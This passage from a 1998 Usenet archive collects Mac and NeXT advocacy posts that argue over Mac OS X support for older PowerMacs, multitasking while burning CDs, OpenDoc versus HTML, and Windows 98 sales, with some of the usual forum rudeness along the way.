Um, no. Testing reveals things that need to be fixed. Sometimes, fixes
can be really nasty and time-consuming. There's little point doing all
that testing if you don't have time or people to fix what's found. Much
better to keep the testing/fixing work within manageable limits
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 02:44:16 GMT
Organization: Steel Driving Software
Message-ID: <01bdbc81$0ff68860$f9b4dccf@samsara>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com> <35c0de11.0@news.depaul.edu> <6pr2k7$jt2$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote in article
<6pr2k7$jt2$1@nnrp1.dejanews.com>...
> In article <35c0de11.0@news.depaul.edu>,
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>
> > My concern is that fixes and work-arounds Apple has developed for
> > their hardware designs may be very MacOS-specific, and won't
> > translate well to the new OS. Apple would then have to find and
> > fix many bugs all over again, with entirely new code in the
> > Mach/IOKit paradigm (buzzword Bingo! ;) ).
>
> Keep in mind that Apple already has a Mach 3 port for the computers in
> question in the form of the MkLinux kernel. It seems silly to me that
they
> can support all of the older PowerMacs in MkLinux but can't support any
of
> them in Mac OS X.
Is it the *same* Mach 3? There seems to be quite a bit of variation
in implementation.
Further, just how good is MkLinux's support for those old Macs? Are
things minimally supported, or does it fully support those Macs? How
is the support for third-party hardware? Has anyone ever tried to
really push the hardware?
> > They could do this, but I'm still not convinced it's a good use
> > of resources.
>
> Not screwing customers should be the goal of any company that wants to
stay in
> buisness.
I don't see how they're being screwed. Disappointed, perhaps, but not
screwed. You want screwed, try people who bought PowerPC boxes to run
NT.
- Jon
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 02:50:22 GMT
Organization: Steel Driving Software
Message-ID: <01bdbc81$ea868750$f9b4dccf@samsara>
References: <6pqk6v$qs5$1@nnrp1.dejanews.com> <B1E65B4C-22A1B@206.165.43.108>
Lawson English <english@primenet.com> wrote in article
<B1E65B4C-22A1B@206.165.43.108>...
> quinlan@my-dejanews.com said:
>
> >
> >Look at it this way: when you want to port a OpenStep application to a
new
> >platform what do you do? Just recompile it. Why can you do that? Because
> >your
> >application sits above the layer that deals directly with hardware. Just
> as
> >YB, BB and PDF sit above the layer (kernel + IOkit) that deals directly
> with
> >hardware.
>
> But the NeXTers and Joe would have us believe that while Apple could do
it
> for WIntel and NeXT cubes and PCI PowerMacs using the old kernel, they
> can't do it using the new kernel for systems that they are STILL
supporting
> with the old kernel AND MacOS 8.x.
Limited Variety Of Hardware, Lawson. You're not helping your case.
Would you be happy, Lawson, if Apple released MacOS/X for the 8600, but
no peripherals would work other than modem, video card, keyboard, mouse,
and
disk drives? If the sound hardware was only somewhat supported? If it
didn't support fancy video in/out features?
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 02:56:11 GMT
Organization: Steel Driving Software
Message-ID: <01bdbc82$bbe24320$f9b4dccf@samsara>
References: <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <B1E65966-1B7E3@206.165.43.108>
Lawson English <english@primenet.com> wrote in article
<B1E65966-1B7E3@206.165.43.108>...
> In fact, anyone want to detail the *source code level* differences
between
> a driver written using the Rhapsody IOKit and the one written using the
> MacOS X IOKit?
>
> Betcha they are minimal, at worst, and most likely, identical.
I doubt it. It sounds like they're coming up with something quite
different. At the very least, there's probably a very different
class hierarchy.
> Soooo...
>
> It is only the kernel-level stuff, plus testing/debugging, that is really
> the issue here.
No, the drivers need to be written for each different bit of hardware.
There might be subclasses of, say, the serial driver or PCI driver
classes for models with quirks.
> The testing job scales linearly with the number of bodies. Debugging of
> individual drivers should also scale linearly as long as a flaw isn't
> discovered in the IOKit or the kernel.
> Which leaves the kernel, which is already running as Mach 3.0 in MkLinux
on
> all the hardware (and more) that 604e/603e owners want MacOS X to run on.
I doubt the kernel is the same in much more than name. I doubt that they
use the same kernel design.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 13:20:01 +1000
Organization: University of Queensland
Message-ID: <6prd57$h22$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-3007981600420001@wil33.dol.net...
>In article <6pqa9r$s09$1@plo.sierra.com>, "Earl Malmrose"
><earl.malmrose@nospam.sierra.com> wrote:
>
>> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
>> <6pq2n2$q44@newsb.netnews.att.com>...
>> >Christopher Smith <drsmithy@usa.net> wrote:
>> Are you trying to use a high-speed burner, or have a poor interface to
the
>> burner? I burn at 2x on a P-90 over SCSI, while in the background a cpu
>> intensive app is always running, and never get coasters.
>
>I have an IBM 6x86MX 200 and a 6X burner and make coasters all the time if
>I have anything else going on. Mine's IDE, so that may be part of it, as
>well.
6X over IDE could get a bit hairy - what type of drive & m/b have you got
again ?
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 13:21:03 +1000
Organization: University of Queensland
Message-ID: <6prd75$cp2$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007980854080001@wil34.dol.net> <6pput9$vsd$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007981125390001@wil47.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-3007981125390001@wil47.dol.net...
>In article <6pput9$vsd$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>> Joe Ragosta <joe.ragosta@dol.net> wrote in message
>> joe.ragosta-3007980854080001@wil34.dol.net...
>> >Then why aren't you blaming Microsoft for the coasters I got on my Win95
>> >machine?
>>
>> Because you haven't given any reason why I should.
>
>Let's see. If you make coasters on a Mac, it's Apple's fault. If you make
>coasters on a Windows box it's NOT Microsoft's fault?
But I wasn't blaming Apple for coasters. I was blaming Apple for having to
have the machine rendered useless while the CD was writing *due to
fundamental flaws in the operating system*.
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: 31 Jul 1998 03:24:17 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-3007982035330001@219.oakland-01.ca.dial-access.att.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <joe.ragosta-2907981404250001@wil73.dol.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <joe.ragosta-2907981404250001@wil73.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> I should have saved the URL because I couldn't find it, but one of the Mac
> sites quoted a CompUSA store manager who said that in his store, there
> were over half as many iMac preorders (with $250 deposit) in two days as
> there were Win98 preorders in several weeks.
>
> Hmm. Only a couple of days to get 1/2 as many orders as Win98? When Win95
> has so much higher market share? And when you're comparing a $90 software
> product to a $1300 hardware product?
Well, considering theat Win98 is a piece -o- crap, I wonder why....
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 13:26:54 +1000
Organization: University of Queensland
Message-ID: <6prdi3$ou6$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net> <joe.ragosta-3007980855070001@wil34.dol.net> <6pqj6s$pf9$1@nnrp1.dejanews.com> <Josh.McKee-3007981808580001@pm3a18.rmac.net>
Joshua T. McKee <Josh.McKee@cbns.com> wrote in message
Josh.McKee-3007981808580001@pm3a18.rmac.net...
>In article <6pqj6s$pf9$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com
wrote:
>
>> In article <joe.ragosta-3007980855070001@wil34.dol.net>,
>> joe.ragosta@dol.net (Joe Ragosta) wrote:
>>
>> > His point is that Win95 even with what you call 'true multitasking'
will
>> > also do the same thing.
>>
>> No it won't. Windows 95 will still allow you to run other programs. These
>> programs may, however, cause the CD write to fail. There is nothing that
the
>> operating system can do about this except offer some CPU and I/O banding
>> gaurantee. Realtime operating systems let you do this.
>
>
>Here is a real world example where the Macs limitation of CMT perhaps is
>better than Windows 95's (or even Windows NT's) PMT.
>
>What good is the ability to run multiple programs if one of those
>applications can ruin the CD recording session? And how do you know if a
>program will/not interfere with the recording session? By making
>coasters, that's how. I've got a CD recorder on my NT system...and I've
>made plenty a coaster by multitasking while recording. I've learned to
>let the thing record and leave the computer be until it is done.
It depends *entirely* on what you're running.
Eg, I run Quake and burn CDs and don't worry, because while Quake is very
CPU-intensive it is not particularly I/O intensive.
However, running something that was going to start hammering the I/O system
(specifically the disk) *will* more often than not score you a coaster - not
many apps are like this though, so more often that not you can run many
things at once while burning a CD.
My gripe with the Mac was that the machine is rendered useless while a CD is
writing, so even if you do know "safe" things to run, YOU CAN'T. This is a
*design decision* forced onto the writers of the CDR software so they can be
sure even something as basic as a word processor or something like Photoshop
can't grab so much *CPU time* (CD-writing doesn't need much CPU time, but
when it needs it, it needs it *now*) that the write will fail.
>
>So yes, in theory, Windows 95 allows you to multitask while doing this.
>But I certainly wouldn't...thus, in reality, the two are equal.
>
>Josh
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 03:38:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pre6p$mvm@news1.panix.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <joe.ragosta-2907981244410001@wil47.dol.net> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net> <35BF82F7.64FCFC4B@exu.ericsson.se> <joe.ragosta-2907981643010001@wil42.dol.net>
On Wed, 29 Jul 1998 16:43:01 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>Go to Microsoft's web page and look at their approved NT hardware list.
>There are zillions of peripherals that aren't officially supported. And
>lots of NT fans have warned over and over to stick with supported
>hardware.
USB support? IIRC, NT doesn't support USB and won't until NT5. If I'm wrong,
can someone forward me the URL for the USB drivers for NT4?
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 23:05:57 -0500
Organization: Prairie Group
Message-ID: <MPG.102afea0514e2dd6989a5a@news.supernews.com>
References: <MPG.102ac13ecf3d65f989a55@news.supernews.com> <B1E66157-3959D@206.165.43.108>
In article <B1E66157-3959D@206.165.43.108>, english@primenet.com says...
> Donald Brown <don.brown@cesoft.com> said:
>
> >Then it may be time to close this discussion out. Joe and I are saying
> >"yes the costs are there", you and others are saying "no there are no
> >costs".
> >
> >I don't think either of us are going to convince the other.
>
> No. We're saying that the cost is in warm bodies to do the testing. Those
> warm bodies cost a certain amount of money, call it x. The increased number
> of MacOS X sales will result in greater revenues, call it y.
Yes, but the Sales will occur in Calendar Q3 1999. The expenses will
occur in Q3 98, Q4 98, Q1 99, and Q2 99.
With Apple on the edge, that means that they may go back into the red for
those 4 quarters. Which means all of the positive views that Apple has
garnered will go poof, I guess those profits were just a fluke, Apple
really is dead, cancel those stock buys and those purchases.
And, as someone who has just left an organization with a strong QA team,
referring to them as "warm bodies" is a misnomer. QA work takes at least
as much ability to reason and attention to detail as programming does.
Donald
> We're claiming that y - x is significantly greater than 0 and hence there
> will be NO *NET* cost to doing the added testing.
>
> You're saying that the 4 million PCI Macs that have been sold since January
> 1997 won't bring in enough revenue from OS upgrades to cover the added cost
> of testing and tweaking and we're saying that it will.
>
> It will ALSO provide a MUCH larger base of Yellow Box-enabled MacOS systems
> to entice new YB developers.
>
> MUCH larger.
>
> 5x larger if MacOS X were released today. Twice as large, if it is released
> on-time next year.
>
> And 604e machines were ONLY sold to high-end users, not Joe Consumer, so
> they're far more likely to purchase new [non-game] products than CompUSA G3
> customers are.
>
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
>
>
>
>
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 01:59:15 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C15D2D.B7B8159C@earthlink.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <joe.ragosta-3007980839550001@wil34.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> In article <B1DA7956-48FFC@206.165.43.17>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Joe Ragosta <joe.ragosta@dol.net> said:
> >
> > >Oh, you mean the one after that. Just how many future software versions
> > >running on your 7300 is the _right_ number? Where does Apple draw the
> > >line?
> >
> >
> >
> > OK, so now we can assume that Apple can rightfully, legally, ethically and
> > morally introduce a new OS that will only run with the latest generation
> > hardware?
> >
> > Where does Apple draw the line, Joe?
>
> At a major transition point. New motherboard, new processor family.
Oh, this is rich --- now Joe thinks that the G3 is a new processor family! Ho
ho! PowerPC is still a big happy family, my friend, even the G4 will be
joining in the fun. But still just PowerPC with the same instructions.
Altivec is just a subset of DSP instructions on some G4s. Only Motorola's G4
will have them; IBM's G4s won't. But still a happy family! Ho ho!
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 02:09:40 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C15F9D.AFE5C369@earthlink.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <see-below-2707981244580001@dynamic43.pm09.mv.best.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Matthew Vaughan wrote:
> In article <joe.ragosta-2607982033560001@elk91.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >
> > > I believe that I can run Windows 98 on a 386sx if I so desired.
> > >
> > > It is very strange Joe, Mac advocates have been championing Apples great
> > > backward compatibility as a big feature. Now we're being told it doesn't
> > > count for anything?
> >
> > I wouldn't say it doesn't mean anything. It would be very, very nice if I
> > could run Rhapsody on my old IIsi. But it's not going to happen and there
> > are other factors I consider more important.
> >
> > My point was that both Apple and Microsoft have to obsolete old machines
> > at some point.
>
> I agree. But "obsoleting" computers as recent as the 300MHz+ 8600 and 9600
> isn't exactly a reasonable step (particualary considering their "required"
> role for Rhapsody developers, and their similarity in capabilities and
> performance to the G3 PowerMacs that will be supported).
>
> This isn't about Apple supporting 68k Macs, or NuBus PowerMacs, or
> Performas, or even every single model of PCI PowerMac. This is about them
> supporting the reasonably recent subset of still-powerful and expandable
> PCI PowerMacs which they designed Rhapsody to support. It's about high-end
> machines (used primarily by supposedly the target market for OS X) which
> in some cases will be barely a year old when OS X is released. It's also
> about machines which will run "OS X Server" but won't run "OS X".
Thank you, Matthew. Very well said!
I am getting tired of people trying to act like supporting a 2-month old
9600/350 is the same as supporting a Mac Plus. What people are asking is
*reasonable*. These "reductio ad absurdum" arguments are designed to muddy the
waters of reason with silly nonsense about supporting 14 year old macs with
different processors. We are talking about supporting Macs in the same
processor family, even the same slot architecture! We are talking Macintosh,
Granny Smiths, and Red Delicious, and the naysayers are talking watermelons and
cacti.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 01:52:40 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C15BA3.50B3DB6D@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6peuo4$3d2$1@ironhorse.plsys.co.uk> <FIiROLCWddLd-pn2-LqHtQgYcutcv@localhost> <joe.ragosta-2807980732310001@wil43.dol.net> <FIiROLCWddLd-pn2-FgMwY6ZvyiSH@localhost> <joe.ragosta-2907980753420001@wil64.dol.net>
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Joe Ragosta wrote:
> In article <FIiROLCWddLd-pn2-FgMwY6ZvyiSH@localhost>,
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
> > And Joe, in another thread I asked you to explain your comment on how
> > MOSX would need kludges to support '97 PCI Powermac designs... I'd
> > still be interested in learning about those kludges you mentioned.
>
> I don't think I said it would require kludges. Perhaps there was something
> funny in the context that I was referring to.
>
> In general, though, the switch from Rhapsody to Mac OS X is a relatively
> large step in many regards:
>
> New kernel
> Net imaging model
> New (Carbon) APIs
> New driver model.
>
> Now, the better Apple has done on modularity, the easier this will be. But
> that's not a trivial change in any event. I've been involved in product
> testing with Apple and know how much work it takes to test even an
> incremental upgrade. The testing on Mac OS X will be huge.
Nope.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 06:46:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6prp7u$g3u$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <Josh.McKee-2907981815320001@pm3a7.rmac.net> <MPG.102a3c0fa7ecf8bf989a4b@news.supernews.com> <6pqji9$ptv$1@nnrp1.dejanews.com> <MPG.102ac7dabba01b62989a57@news.supernews.com>
In article <MPG.102ac7dabba01b62989a57@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Then you should use Window 95, and leave us Mac users out of it.
If they are equal, in my opinion, then why should I use one over the other.
Instead of just abandoning the Mac, I think that we should find ways of making
Apple hardware and software better and communicate those ideas to Apple.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 06:50:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6prpfb$g69$1@nnrp1.dejanews.com>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108> <01bdbc80$4e539c20$f9b4dccf@samsara>
In article <01bdbc80$4e539c20$f9b4dccf@samsara>,
"Jonathan Hendry" <jhendry@cmg.fcnbd.com> wrote:
> Um, no. Testing reveals things that need to be fixed. Sometimes, fixes
> can be really nasty and time-consuming. There's little point doing all
> that testing if you don't have time or people to fix what's found. Much
> better to keep the testing/fixing work within manageable limits
Fixing kernel and IOkit code would suck but any bugs found elsewhere would
still be bugs that should be fixed for the G3 Macs anyway.
--
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 1998 16:04:00 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pq5hg$8np$2@news.spacelab.net>
References: <6pnilb$4hq$2@nnrp02.primenet.com> <B1E55985-344CC@206.165.43.139> <6ppkjd$lfr$1@nnrp02.primenet.com> <6ppuu6$pgu@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>>: HTML doesn't allow one to edit composite documents or to add to them.
>
>HTML allows one to create composite documents -- documents containing
>text, images, video-clips, applets, etc. etc.
Agreed.
>A good Web page builder, like Golive CyberStudio, allows WYSIWYG editing
>of many of the allowed elements in an HTML page. ( Here, WYSIWYG should be
>taken to mean "WYSIWYG within the precision that HTML allows for. )
The whole notion of WYSIWYG HTML is an oxymoron. At best, CyberStudio gives
you "WYSIA(lmost)WYG if you happen to run a modern Netscape or IE without
adjusting the preferences very much".
[ ... ]
>OpenDoc might be "superior" to HTML, technically. But we all have
>investments in applications, having either written them, bought them,
>learned them, that one would be reluctant to discard. If OpenDoc had, e.g.,
>provided an easy way for you to edit a contained GIF with a non-OpenDoc-ed
>Photoshop, then OpenDoc might have caught on.
And I agree that this is one of the fundamental weaknesses of OpenDoc. HTML
web pages are closer to the NEXTSTEP "file wrapper" notion, where you have a
hierarchical directory structure of nested content, where the individual
items are nothing more than standard files in standard formats.
Needing specialized tools to edit standard content is bad.
>I like the concept of "design for acceptance". Apple needs to think
>hard about how to do that with the Yellow Box.
Excellent point. I sincerely hope they've done so....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 00:39:23 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C14A79.5BD4D9E8@earthlink.net>
References: <slrn6s1snk.2o1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1E65F3D-31723@206.165.43.108>
Mime-Version: 1.0
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Lawson English wrote:
> Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
> >On 28 Jul 98 17:46:53 -0700, Lawson English <english@primenet.com>
> >wrote:
> >:Joe Ragosta <joe.ragosta@dol.net> said:
> >:
> >:>New kernel
> >:
> >:They knew for over a year (almost from the NeXT purchase) that a new
> >kernel
> >:would be in the works. Wasn't NeXT/OpenStep supposed to go to a new
> >kernel
> >:even before NeXT was sold to Apple?
> >
> >No, I didn't hear about that.
>
> I've heard all sorts of talk on the next.progrmmer newsgroup about how
> OpenStep 4.x would be on a later kernel, but the canned it some time before
> Apple bought NeXT.
>
> If you're referring to how you never heard about something AFTER the
> purchase, there was a GREAT DEAL of hooplah about using 2.5, 3.0, Solaris,
> or Apple's own NuKernel. That was when Hancock was still Senior VP of
> Apple, over a year ago.
>
> Surely you recall that?
I recall it. It's all very old news. I am certainly Joe Ragosta could dig it
up somewhere on the web in archives if he really cared about the truth (not me
--- I already know Lawson's right because I remember it. It's already
archived.)
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 10:03:09 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6prtnt$3a$1@larry.admin.phil.uu.nl>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <MPG.102a39e0cc43cdbb989a47@news.supernews.com>
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Donald:
>>OS X is a rerun of Copland.
>
>Nope. There's a key difference between OS X and Copland. Copland would
>run all old applications with not changes at all, and have all the
>benefits of the new system. 100% binary compatible.
>
>OS X/Carbon says "We're throwing out 15% of the API and revamping the API
>to make it work on our OS."
Hm. I thought I heard something about that they'd be going
to "integrate" the blue box into OS X in such a way that
you'd still be able to run your old apps (although without
the benefits of the new system.) Did I misunderstand this?
Sounds like the approach they had in Copland to me.
Freek
From: scholl@callisto.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 30 Jul 1998 09:25:35 -0400
Organization: University at Buffalo
Distribution: world
Message-ID: <6pps8f$fvu$1@callisto.acsu.buffalo.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <macman-2907982115550001@d185d1c66.rochester.rr.com>
NNTP-Posting-User: scholl
Stephen Rea (macman@rochester.rr.com) wrote:
: Sure it does. Virtually everyone with a computer that can run Windows
: already has Windows. Most of their sales are to new PCs. Even Windows 98
: hasn't been selling as well as expected,
i believe i read on news.com that it was selling quite well-a litlle better
than expected actually.
:and many major vendors are still
: not shipping new machines with it.
*many* major vendors? name 5. heck, make that 2.
-ed
From: "Mike Welker" <mwelker@asap-computer.com>
Newsgroups: comp.sys.next.advocacy
Subject: Help ! doc's & manuals
Date: Thu, 30 Jul 1998 09:57:00 -0400
